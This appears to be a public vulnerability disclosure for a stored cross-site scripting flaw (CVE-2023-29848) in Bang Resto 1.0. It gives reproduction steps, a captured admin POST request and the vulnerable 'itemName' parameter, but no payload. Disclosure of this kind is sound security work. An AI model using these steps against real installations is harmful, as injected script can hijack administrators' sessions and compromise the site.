Bang Resto 1.0 Cross Site Scripting

# Exploit Title: Bang Resto v1.0 - Stored Cross-Site Scripting (XSS)# Date: 2023-04-02# Exploit Author: Rahad Chowdhury# Vendor Homepage:https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html# Software Link:https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip# Version: 1.0# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53# CVE: CVE-2023-29848*Steps to Reproduce:*1. First login to your admin panel.2. then go to Menu section and click add new menu from group.your request data will be:POST /bangresto/admin/menu.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/111.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 87Origin: http://127.0.0.1Referer: http://127.0.0.1/bangresto/admin/menu.phpCookie: PHPSESSID=2vjsfgt0koh0qdiq5n6d17utn6Connection: closeitemName=test&itemPrice=1&menuID=1&addItem=3. Then use any XSS Payload in "itemName" parameter and click add.4. You will see XSS pop up.